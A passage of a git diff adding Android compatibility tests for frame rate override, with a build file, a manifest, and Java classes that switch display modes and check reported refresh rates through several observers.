+  ]
+}
+
diff --git a/hostsidetests/graphics/framerateoverride/app/Android.bp b/hostsidetests/graphics/framerateoverride/app/Android.bp
new file mode 100644
index 0000000..30790bf
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/Android.bp
@@ -0,0 +1,45 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsHostsideFrameRateOverrideTestsApp",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    srcs: ["src/**/*.java"],
+    libs: [
+        "junit",
+    ],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.core_core",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
+        "ctstestrunner-axt",
+        "junit",
+        "junit-params",
+        "mockito-target-minus-junit4",
+        "SurfaceFlingerProperties",
+        "testng",
+        "truth-prebuilt",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/graphics/framerateoverride/app/AndroidManifest.xml b/hostsidetests/graphics/framerateoverride/app/AndroidManifest.xml
new file mode 100644
index 0000000..97f4d9a
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.graphics.framerateoverride">
+    <!-- targetSdkVersion for this test must be below 30 -->
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application
+        android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+
+        <activity
+            android:name="com.android.cts.graphics.framerateoverride.FrameRateOverrideTestActivity"
+            android:label="FrameRateCtsActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.graphics.framerateoverride" />
+
+</manifest>
diff --git a/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTest.java b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTest.java
new file mode 100644
index 0000000..40aafeb
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTest.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.graphics.framerateoverride;
+
+import android.Manifest;
+import android.app.compat.CompatChanges;
+import android.hardware.display.DisplayManager;
+import android.os.Handler;
+import android.os.Looper;
+import android.support.test.uiautomator.UiDevice;
+import android.sysprop.SurfaceFlingerProperties;
+import android.util.Log;
+import android.view.Display;
+import android.view.Window;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.graphics.framerateoverride.FrameRateOverrideTestActivity.FrameRateObserver;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Tests for frame rate override and the behaviour of {@link Display#getRefreshRate()} and
+ * {@link Display.Mode#getRefreshRate()} Api.
+ */
+@RunWith(AndroidJUnit4.class)
+public final class FrameRateOverrideTest {
+    private static final String TAG = "FrameRateOverrideTest";
+    // See b/170503758 for more details
+    private static final long DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID = 170503758;
+
+    // The tolerance within which we consider refresh rates are equal
+    private static final float REFRESH_RATE_TOLERANCE = 0.01f;
+
+    private int mInitialMatchContentFrameRate;
+    private DisplayManager mDisplayManager;
+
+
+    @Rule
+    public ActivityTestRule<FrameRateOverrideTestActivity> mActivityRule =
+            new ActivityTestRule<>(FrameRateOverrideTestActivity.class);
+
+    @Before
+    public void setUp() throws Exception {
+        final UiDevice uiDevice =
+                UiDevice.getInstance(
+                        androidx.test.platform.app.InstrumentationRegistry.getInstrumentation());
+        uiDevice.wakeUp();
+        uiDevice.executeShellCommand("wm dismiss-keyguard");
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOG_COMPAT_CHANGE,
+                        Manifest.permission.READ_COMPAT_CHANGE_CONFIG,
+                        Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE,
+                        Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS);
+
+        mDisplayManager = mActivityRule.getActivity().getSystemService(DisplayManager.class);
+        mInitialMatchContentFrameRate = mDisplayManager.getRefreshRateSwitchingType();
+        mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
+        mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+        boolean changeIsEnabled =
+                CompatChanges.isChangeEnabled(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID);
+        Log.e(TAG, "DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID is "
+                + (changeIsEnabled ? "enabled" : "disabled"));
+    }
+
+    @After
+    public void tearDown() {
+        mDisplayManager.setRefreshRateSwitchingType(mInitialMatchContentFrameRate);
+        mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    private void setMode(Display.Mode mode) {
+        Handler handler = new Handler(Looper.getMainLooper());
+        handler.post(() -> {
+            Window window = mActivityRule.getActivity().getWindow();
+            WindowManager.LayoutParams params = window.getAttributes();
+            params.preferredDisplayModeId = mode.getModeId();
+            window.setAttributes(params);
+        });
+
+    }
+
+    private static boolean areEqual(float a, float b) {
+        return Math.abs(a - b) <= REFRESH_RATE_TOLERANCE;
+    }
+
+    // Find refresh rates where the device also natively supports half that rate with the same
+    // resolution (for example, a 120Hz mode when the device also supports a 60Hz mode).
+    private List<Display.Mode> getModesToTest() {
+        List<Display.Mode> modesToTest = new ArrayList<>();
+        if (!SurfaceFlingerProperties.enable_frame_rate_override().orElse(true)) {
+            return modesToTest;
+        }
+        Display.Mode[] modes = mActivityRule.getActivity().getDisplay().getSupportedModes();
+        for (Display.Mode mode : modes) {
+            for (Display.Mode otherMode : modes) {
+                if (mode.getModeId() == otherMode.getModeId()) {
+                    continue;
+                }
+
+                if (mode.getPhysicalHeight() != otherMode.getPhysicalHeight()
+                        || mode.getPhysicalWidth() != otherMode.getPhysicalWidth()) {
+                    continue;
+                }
+
+                if (areEqual(mode.getRefreshRate(), 2 * otherMode.getRefreshRate())) {
+                    modesToTest.add(mode);
+                }
+            }
+        }
+
+        return modesToTest;
+    }
+
+    private void testFrameRateOverride(FrameRateObserver frameRateObserver)
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        for (Display.Mode mode : getModesToTest()) {
+            setMode(mode);
+            activity.testFrameRateOverride(frameRateObserver, mode.getRefreshRate());
+        }
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest.testBackpressureDisplayModeReturnsPhysicalRefreshRateEnabled and
+     * FrameRateOverrideHostTest.testBackpressureDisplayModeReturnsPhysicalRefreshRateDisabled
+     */
+    @Test
+    public void testBackpressure()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(activity.new BackpressureFrameRateObserver());
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest.testChoreographerDisplayModeReturnsPhysicalRefreshRateEnabled and
+     * FrameRateOverrideHostTest.testChoreographerDisplayModeReturnsPhysicalRefreshRateDisabled
+     */
+    @Test
+    public void testChoreographer()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(activity.new ChoreographerFrameRateObserver());
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest
+     * .testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled
+     * and
+     * FrameRateOverrideHostTest
+     * .testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled
+     */
+    @Test
+    public void testDisplayGetRefreshRate()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(activity.new DisplayGetRefreshRateFrameRateObserver());
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest
+     * .testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled
+     */
+    @Test
+    public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(
+                activity.new DisplayModeGetRefreshRateFrameRateObserver(
+                        /*displayModeReturnsPhysicalRefreshRateEnabled*/ true));
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest
+     * .testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled
+     */
+    @Test
+    public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(
+                activity.new DisplayModeGetRefreshRateFrameRateObserver(
+                        /*displayModeReturnsPhysicalRefreshRateEnabled*/ false));
+    }
+}
diff --git a/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTestActivity.java b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTestActivity.java
new file mode 100644
index 0000000..ccfefe8
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTestActivity.java
@@ -0,0 +1,501 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.graphics.framerateoverride;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.Choreographer;
+import android.view.Surface;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+import android.view.ViewGroup;
+
+import java.util.ArrayList;
+
+/**
+ * An Activity to help with frame rate testing.
+ */
+public class FrameRateOverrideTestActivity extends Activity {
+    private static final String TAG = "FrameRateOverrideTestActivity";
+    private static final long FRAME_RATE_SWITCH_GRACE_PERIOD_NANOSECONDS = 2 * 1_000_000_000L;
+    private static final long STABLE_FRAME_RATE_WAIT_NANOSECONDS = 1 * 1_000_000_000L;
+    private static final long POST_BUFFER_INTERVAL_NANOSECONDS = 500_000_000L;
+    private static final int PRECONDITION_WAIT_MAX_ATTEMPTS = 5;
+    private static final long PRECONDITION_WAIT_TIMEOUT_NANOSECONDS = 20 * 1_000_000_000L;
+    private static final long PRECONDITION_VIOLATION_WAIT_TIMEOUT_NANOSECONDS = 3 * 1_000_000_000L;
+    private static final float FRAME_RATE_TOLERANCE = 0.01f;
+    private static final float FPS_TOLERANCE_FOR_FRAME_RATE_OVERRIDE = 5;
+    private static final long FRAME_RATE_MIN_WAIT_TIME_NANOSECONDS = 1 * 1_000_000_000L;
+    private static final long FRAME_RATE_MAX_WAIT_TIME_NANOSECONDS = 10 * 1_000_000_000L;
+
+    private DisplayManager mDisplayManager;
+    private SurfaceView mSurfaceView;
+    private Handler mHandler = new Handler(Looper.getMainLooper());
+    private Object mLock = new Object();
+    private Surface mSurface = null;
+    private float mReportedDisplayRefreshRate;
+    private float mReportedDisplayModeRefreshRate;
+    private ArrayList<Float> mRefreshRateChangedEvents = new ArrayList<Float>();
+
+    private long mLastBufferPostTime;
+
+    SurfaceHolder.Callback mSurfaceHolderCallback = new SurfaceHolder.Callback() {
+        @Override
+        public void surfaceCreated(SurfaceHolder holder) {
+            synchronized (mLock) {
+                mSurface = holder.getSurface();
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void surfaceDestroyed(SurfaceHolder holder) {
+            synchronized (mLock) {
+                mSurface = null;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
+        }
+    };
+
+    DisplayManager.DisplayListener mDisplayListener = new DisplayManager.DisplayListener() {
+        @Override
+        public void onDisplayAdded(int displayId) {
+        }
+
+        @Override
+        public void onDisplayChanged(int displayId) {
+            synchronized (mLock) {
+                float refreshRate = getDisplay().getRefreshRate();
+                float displayModeRefreshRate = getDisplay().getMode().getRefreshRate();
+                if (refreshRate != mReportedDisplayRefreshRate
+                        || displayModeRefreshRate != mReportedDisplayModeRefreshRate) {
+                    Log.i(TAG, String.format("Frame rate changed: (%.2f, %.2f) --> (%.2f, %.2f)",
+                                    mReportedDisplayModeRefreshRate,
+                                    mReportedDisplayRefreshRate,
+                                    displayModeRefreshRate,
+                                    refreshRate));
+                    mReportedDisplayRefreshRate = refreshRate;
+                    mReportedDisplayModeRefreshRate = displayModeRefreshRate;
+                    mRefreshRateChangedEvents.add(refreshRate);
+                    mLock.notify();
+                }
+            }
+        }
+
+        @Override
+        public void onDisplayRemoved(int displayId) {
+        }
+    };
+
+    private static class PreconditionViolatedException extends RuntimeException { }
+
+    private static class FrameRateTimeoutException extends RuntimeException {
+        FrameRateTimeoutException(float appRequestedFrameRate, float deviceRefreshRate) {
+            this.appRequestedFrameRate = appRequestedFrameRate;
+            this.deviceRefreshRate = deviceRefreshRate;
+        }
+
+        public float appRequestedFrameRate;
+        public float deviceRefreshRate;
+    }
+
+    public void postBufferToSurface(int color) {
+        mLastBufferPostTime = System.nanoTime();
+        Canvas canvas = mSurface.lockCanvas(null);
+        canvas.drawColor(color);
+        mSurface.unlockCanvasAndPost(canvas);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        synchronized (mLock) {
+            mDisplayManager = getSystemService(DisplayManager.class);
+            mReportedDisplayRefreshRate = getDisplay().getRefreshRate();
+            mReportedDisplayModeRefreshRate = getDisplay().getMode().getRefreshRate();
+            mDisplayManager.registerDisplayListener(mDisplayListener, mHandler);
+            mSurfaceView = new SurfaceView(this);
+            mSurfaceView.setWillNotDraw(false);
+            setContentView(mSurfaceView,
+                    new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
+                            ViewGroup.LayoutParams.MATCH_PARENT));
+            mSurfaceView.getHolder().addCallback(mSurfaceHolderCallback);
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        mDisplayManager.unregisterDisplayListener(mDisplayListener);
+        synchronized (mLock) {
+            mLock.notify();
+        }
+    }
+
+    private static boolean frameRatesEqual(float frameRate1, float frameRate2) {
+        return Math.abs(frameRate1 - frameRate2) <= FRAME_RATE_TOLERANCE;
+    }
+
+    private static boolean frameRatesMatchesOverride(float frameRate1, float frameRate2) {
+        return Math.abs(frameRate1 - frameRate2) <= FPS_TOLERANCE_FOR_FRAME_RATE_OVERRIDE;
+    }
+
+    // Waits until our SurfaceHolder has a surface and the activity is resumed.
+    private void waitForPreconditions() throws InterruptedException {
+        assertTrue(
+                "Activity was unexpectedly destroyed", !isDestroyed());
+        if (mSurface == null || !isResumed()) {
+            Log.i(TAG, String.format(
+                    "Waiting for preconditions. Have surface? %b. Activity resumed? %b.",
+                            mSurface != null, isResumed()));
+        }
+        long nowNanos = System.nanoTime();
+        long endTimeNanos = nowNanos + PRECONDITION_WAIT_TIMEOUT_NANOSECONDS;
+        while (mSurface == null || !isResumed()) {
+            long timeRemainingMillis = (endTimeNanos - nowNanos) / 1_000_000;
+            assertTrue(String.format("Timed out waiting for preconditions. Have surface? %b."
+                            + " Activity resumed? %b.",
+                    mSurface != null, isResumed()),
+                    timeRemainingMillis > 0);
+            mLock.wait(timeRemainingMillis);
+            assertTrue("Activity was unexpectedly destroyed", !isDestroyed());
+            nowNanos = System.nanoTime();
+        }
+    }
+
+    // Returns true if we encounter a precondition violation, false otherwise.
+    private boolean waitForPreconditionViolation() throws InterruptedException {
+        assertTrue("Activity was unexpectedly destroyed", !isDestroyed());
+        long nowNanos = System.nanoTime();
+        long endTimeNanos = nowNanos + PRECONDITION_VIOLATION_WAIT_TIMEOUT_NANOSECONDS;
+        while (mSurface != null && isResumed()) {
+            long timeRemainingMillis = (endTimeNanos - nowNanos) / 1_000_000;
+            if (timeRemainingMillis <= 0) {
+                break;
+            }
+            mLock.wait(timeRemainingMillis);
+            assertTrue("Activity was unexpectedly destroyed", !isDestroyed());
+            nowNanos = System.nanoTime();
+        }
+        return mSurface == null || !isResumed();
+    }
+
+    private void verifyPreconditions() {
+        if (mSurface == null || !isResumed()) {
+            throw new PreconditionViolatedException();
+        }
+    }
+
+    // Returns true if we reached waitUntilNanos, false if some other event occurred.
+    private boolean waitForEvents(long waitUntilNanos)
+            throws InterruptedException {
+        mRefreshRateChangedEvents.clear();
+        long nowNanos = System.nanoTime();
+        while (nowNanos < waitUntilNanos) {
+            long surfacePostTime = mLastBufferPostTime + POST_BUFFER_INTERVAL_NANOSECONDS;
+            long timeoutNs = Math.min(waitUntilNanos, surfacePostTime) - nowNanos;
+            long timeoutMs = timeoutNs / 1_000_000L;
+            int remainderNs = (int) (timeoutNs % 1_000_000L);
+            // Don't call wait(0, 0) - it blocks indefinitely.
+            if (timeoutMs > 0 || remainderNs > 0) {
+                mLock.wait(timeoutMs, remainderNs);
+            }
+            nowNanos = System.nanoTime();
+            verifyPreconditions();
+            if (!mRefreshRateChangedEvents.isEmpty()) {
+                return false;
+            }
+            if (nowNanos >= surfacePostTime) {
+                postBufferToSurface(Color.RED);
+            }
+        }
+        return true;
+    }
+
+    private void waitForRefreshRateChange(float expectedRefreshRate) throws InterruptedException {
+        Log.i(TAG, "Waiting for the refresh rate to change");
+        long nowNanos = System.nanoTime();
+        long gracePeriodEndTimeNanos =
+                nowNanos + FRAME_RATE_SWITCH_GRACE_PERIOD_NANOSECONDS;
+        while (true) {
+            // Wait until we switch to the expected refresh rate
+            while (!frameRatesEqual(mReportedDisplayRefreshRate, expectedRefreshRate)
+                    && !waitForEvents(gracePeriodEndTimeNanos)) {
+                // Empty
+            }
+            nowNanos = System.nanoTime();
+            if (nowNanos >= gracePeriodEndTimeNanos) {
+                throw new FrameRateTimeoutException(expectedRefreshRate,
+                        mReportedDisplayRefreshRate);
+            }
+
+            // We've switched to a compatible frame rate. Now wait for a while to see if we stay at
+            // that frame rate.
+            long endTimeNanos = nowNanos + STABLE_FRAME_RATE_WAIT_NANOSECONDS;
+            while (endTimeNanos > nowNanos) {
+                if (waitForEvents(endTimeNanos)) {
+                    Log.i(TAG, String.format("Stable frame rate %.2f verified",
+                            mReportedDisplayRefreshRate));
+                    return;
+                }
+                nowNanos = System.nanoTime();
+                if (!mRefreshRateChangedEvents.isEmpty()) {
+                    break;
+                }
+            }
+        }
+    }
+
+    interface FrameRateObserver {
+        void observe(float initialRefreshRate, float expectedFrameRate, String condition)
+                throws InterruptedException;
+    }
+
+    class BackpressureFrameRateObserver implements FrameRateObserver {
+        @Override
+        public void observe(float initialRefreshRate, float expectedFrameRate, String condition) {
+            long startTime = System.nanoTime();
+            int totalBuffers = 0;
+            float fps = 0;
+            while (System.nanoTime() - startTime <= FRAME_RATE_MAX_WAIT_TIME_NANOSECONDS) {
+                postBufferToSurface(Color.BLACK + totalBuffers);
+                totalBuffers++;
+                if (System.nanoTime() - startTime >= FRAME_RATE_MIN_WAIT_TIME_NANOSECONDS) {
+                    float testDuration = (System.nanoTime() - startTime) / 1e9f;
+                    fps = totalBuffers / testDuration;
+                    if (frameRatesMatchesOverride(fps, expectedFrameRate)) {
+                        Log.i(TAG,
+                                String.format("%s: backpressure observed refresh rate %.2f",
+                                        condition,
+                                        fps));
+                        return;
+                    }
+                }
+            }
+
+            assertTrue(String.format(
+                    "%s: backpressure observed refresh rate doesn't match the current refresh "
+                            + "rate. "
+                            + "expected: %.2f observed: %.2f", condition, expectedFrameRate, fps),
+                    frameRatesMatchesOverride(fps, expectedFrameRate));
+        }
+    }
+
+    class ChoreographerFrameRateObserver implements FrameRateObserver {
+        class ChoreographerThread extends Thread implements Choreographer.FrameCallback {
+            Choreographer mChoreographer;
+            long mStartTime;
+            public Handler mHandler;
+            Looper mLooper;
+            int mTotalCallbacks = 0;
+            long mEndTime;
+            float mExpectedRefreshRate;
+            String mCondition;
+
+            ChoreographerThread(float expectedRefreshRate, String condition)
+                    throws InterruptedException {
+                mExpectedRefreshRate = expectedRefreshRate;
+                mCondition = condition;
+            }
+
+            @Override
+            public void run() {
+                Looper.prepare();
+                mChoreographer = Choreographer.getInstance();
+                mHandler = new Handler();
+                mLooper = Looper.myLooper();
+                mStartTime = System.nanoTime();
+                mChoreographer.postFrameCallback(this);
+                Looper.loop();
+            }
+
+            @Override
+            public void doFrame(long frameTimeNanos) {
+                mTotalCallbacks++;
+                mEndTime = System.nanoTime();
+                if (mEndTime - mStartTime <= FRAME_RATE_MIN_WAIT_TIME_NANOSECONDS) {
+                    mChoreographer.postFrameCallback(this);
+                    return;
+                } else if (frameRatesMatchesOverride(mExpectedRefreshRate, getFps())
+                        || mEndTime - mStartTime > FRAME_RATE_MAX_WAIT_TIME_NANOSECONDS) {
+                    mLooper.quitSafely();
+                    return;
+                }
+                mChoreographer.postFrameCallback(this);
+            }
+
+            public void verifyFrameRate() throws InterruptedException {
+                float fps = getFps();
+                Log.i(TAG,
+                        String.format("%s: choreographer observed refresh rate %.2f",
+                                mCondition,
+                                fps));
+                assertTrue(String.format(
+                        "%s: choreographer observed refresh rate doesn't match the current "
+                                + "refresh rate. expected: %.2f observed: %.2f",
+                        mCondition, mExpectedRefreshRate, fps),
+                        frameRatesMatchesOverride(mExpectedRefreshRate, fps));
+            }
+
+            private float getFps() {
+                return mTotalCallbacks / ((mEndTime - mStartTime) / 1e9f);
+            }
+        }
+
+        @Override
+        public void observe(float initialRefreshRate, float expectedFrameRate, String condition)
+                throws InterruptedException {
+            ChoreographerThread thread = new ChoreographerThread(expectedFrameRate, condition);
+            thread.start();
+            thread.join();
+            thread.verifyFrameRate();
+        }
+    }
+
+    class DisplayGetRefreshRateFrameRateObserver implements FrameRateObserver {
+        @Override
+        public void observe(float initialRefreshRate, float expectedFrameRate, String condition) {
+            Log.i(TAG,
+                    String.format("%s: Display.getRefreshRate() returned refresh rate %.2f",
+                            condition, mReportedDisplayRefreshRate));
+            assertTrue(String.format("%s: Display.getRefreshRate() doesn't match the "
+                            + "current refresh. expected: %.2f observed: %.2f", condition,
+                    expectedFrameRate, mReportedDisplayRefreshRate),
+                    frameRatesMatchesOverride(mReportedDisplayRefreshRate, expectedFrameRate));
+        }
+    }
+
+    class DisplayModeGetRefreshRateFrameRateObserver implements FrameRateObserver {
+        private final boolean mDisplayModeReturnsPhysicalRefreshRateEnabled;
+
+        DisplayModeGetRefreshRateFrameRateObserver(
+                boolean displayModeReturnsPhysicalRefreshRateEnabled) {
+            mDisplayModeReturnsPhysicalRefreshRateEnabled =
+                    displayModeReturnsPhysicalRefreshRateEnabled;
+        }
+
+        @Override
+        public void observe(float initialRefreshRate, float expectedFrameRate, String condition) {
+            float expectedDisplayModeRefreshRate =
+                    mDisplayModeReturnsPhysicalRefreshRateEnabled ? initialRefreshRate
+                            : expectedFrameRate;
+            Log.i(TAG,
+                    String.format(
+                            "%s: Display.getMode().getRefreshRate() returned refresh rate %.2f",
+                            condition, mReportedDisplayModeRefreshRate));
+            assertTrue(String.format("%s: Display.getMode().getRefreshRate() doesn't match the "
+                            + "current refresh. expected: %.2f observed: %.2f", condition,
+                    expectedDisplayModeRefreshRate, mReportedDisplayModeRefreshRate),
+                    frameRatesMatchesOverride(mReportedDisplayModeRefreshRate,
+                            expectedDisplayModeRefreshRate));
+        }
+    }
+
+    private void testFrameRateOverrideBehavior(FrameRateObserver frameRateObserver,
+            float initialRefreshRate) throws InterruptedException {
+        Log.i(TAG, "Staring testFrameRateOverride");
+        float halfFrameRate = initialRefreshRate / 2;
+
+        waitForRefreshRateChange(initialRefreshRate);
+        frameRateObserver.observe(initialRefreshRate, initialRefreshRate, "Initial");
+
+        Log.i(TAG, String.format("Setting Frame Rate to %.2f with default compatibility",
+                halfFrameRate));
+        mSurface.setFrameRate(halfFrameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT, true);
+        waitForRefreshRateChange(halfFrameRate);
+        frameRateObserver.observe(initialRefreshRate, halfFrameRate, "setFrameRate(default)");
+
+        Log.i(TAG, String.format("Setting Frame Rate to %.2f with fixed source compatibility",
+                halfFrameRate));
+        mSurface.setFrameRate(halfFrameRate, Surface.FRAME_RATE_COMPATIBILITY_FIXED_SOURCE, true);
+        waitForRefreshRateChange(halfFrameRate);
+        frameRateObserver.observe(initialRefreshRate, halfFrameRate, "setFrameRate(fixed source)");
+
+        Log.i(TAG, "Resetting Frame Rate setting");
+        mSurface.setFrameRate(0, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT, true);
+        waitForRefreshRateChange(initialRefreshRate);
+        frameRateObserver.observe(initialRefreshRate, initialRefreshRate, "Reset");
+    }
+
+    // The activity being intermittently paused/resumed has been observed to
+    // cause test failures in practice, so we run the test with retry logic.
+    public void testFrameRateOverride(FrameRateObserver frameRateObserver, float initialRefreshRate)
+            throws InterruptedException {
+        synchronized (mLock) {
+            Log.i(TAG, "testFrameRateOverride started");
+            int attempts = 0;
+            boolean testPassed = false;
+            try {
+                while (!testPassed) {
+                    waitForPreconditions();
+                    try {
+                        testFrameRateOverrideBehavior(frameRateObserver, initialRefreshRate);
+                        testPassed = true;
+                    } catch (PreconditionViolatedException exc) {
+                        // The logic below will retry if we're below max attempts.
+                    } catch (FrameRateTimeoutException exc) {
+                        // Sometimes we get a test timeout failure before we get the
+                        // notification that the activity was paused, and it was the pause that
+                        // caused the timeout failure. Wait for a bit to see if we get notified
+                        // of a precondition violation, and if so, retry the test. Otherwise
+                        // fail.
+                        assertTrue(
+                                String.format(
+                                        "Timed out waiting for a stable and compatible frame"
+                                                + " rate. requested=%.2f received=%.2f.",
+                                        exc.appRequestedFrameRate, exc.deviceRefreshRate),
+                                waitForPreconditionViolation());
+                    }
+
+                    if (!testPassed) {
+                        Log.i(TAG,
+                                String.format("Preconditions violated while running the test."
+                                                + " Have surface? %b. Activity resumed? %b.",
+                                        mSurface != null,
+                                        isResumed()));
+                        attempts++;
+                        assertTrue(String.format(
+                                "Exceeded %d precondition wait attempts. Giving up.",
+                                PRECONDITION_WAIT_MAX_ATTEMPTS),
+                                attempts < PRECONDITION_WAIT_MAX_ATTEMPTS);
+                    }
+                }
+            } finally {
+                String passFailMessage = String.format(
+                        "%s", testPassed ? "Passed" : "Failed");
+                if (testPassed) {
+                    Log.i(TAG, passFailMessage);
+                } else {
+                    Log.e(TAG, passFailMessage);
+                }
+            }
+
+        }
+    }
+}
diff --git a/hostsidetests/graphics/framerateoverride/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideHostTest.java b/hostsidetests/graphics/framerateoverride/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideHostTest.java
new file mode 100644
index 0000000..12162d9
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideHostTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
